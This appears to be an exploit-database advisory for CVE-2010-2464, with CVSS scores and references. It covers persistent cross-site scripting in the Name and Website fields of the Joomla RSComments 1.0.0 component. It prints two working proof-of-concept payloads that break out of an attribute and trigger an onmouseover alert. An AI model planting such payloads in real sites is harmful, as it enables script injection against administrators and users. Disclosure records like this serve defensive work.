Joomla Component RSComments 1.0.0 Multiple XSS

2010.06.30

Credit: jdc

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2010-2464

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Joomla Component RSComments 1.0.0 Multiple XSS 
Vulnerabilities
# Date: 18 May 2010
# Author: jdc
# Software Link: http://www.rsjoomla.com
# Version: 1.0.0
# Tested on: PHP5, MySQL5

Name Field Persistent XSS
-------------------------

x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: ONLY executes in backend!

Website Field Persistent XSS
----------------------------

http://x"/style="position:absolute;top:0;left:0;width:999pc;height:999pc"/onmouseover="alert(1)//"

NOTE: also executes in backend!

References:

http://xforce.iss.net/xforce/xfdb/59578

http://www.securityfocus.com/bid/40977

http://www.rsjoomla.com/customer-support/documentations/96--general-overview-of-the-component/393-changelog.html

http://www.exploit-db.com/exploits/13935

http://secunia.com/advisories/40278

http://packetstormsecurity.org/1006-exploits/joomlarscomments-xss.txt

See this note in RAW Version

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Joomla Component RSComments 1.0.0 Multiple XSS

References:

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